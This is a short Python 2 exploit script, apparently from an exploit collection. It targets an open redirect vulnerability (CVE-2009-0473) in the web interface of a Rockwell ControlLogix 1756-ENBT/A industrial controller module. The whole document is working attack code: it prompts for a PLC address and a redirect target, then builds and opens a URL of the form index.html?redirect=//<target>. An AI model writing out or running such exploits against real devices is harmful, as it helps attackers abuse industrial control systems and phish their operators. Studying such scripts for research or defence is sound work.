#Author : Akbar Qureshi import webbrowser import urllib2 class colors: alert = '\033[93m' end = '\033[0m' print colors.alert + """ ########################################################################### # Description: This script will exploit the open redirction vulnerability # # in Rockwell ControlLogix 1756-ENBT/A # # CVE Details: https://www.cvedetails.com/cve/CVE-2009-0473/ # ########################################################################### """ + colors.end plcurl = raw_input("Enter the plc web interface url: ") try: url = urllib2.urlopen('http://%s' % plcurl, timeout=5) except: print "Cannot open url,please try again" else: open_redir = raw_input("Enter open redirection URL: " ) url = "http://%s/index.html?redirect=//%s" % (plcurl,open_redir) webbrowser.open(url,new=1)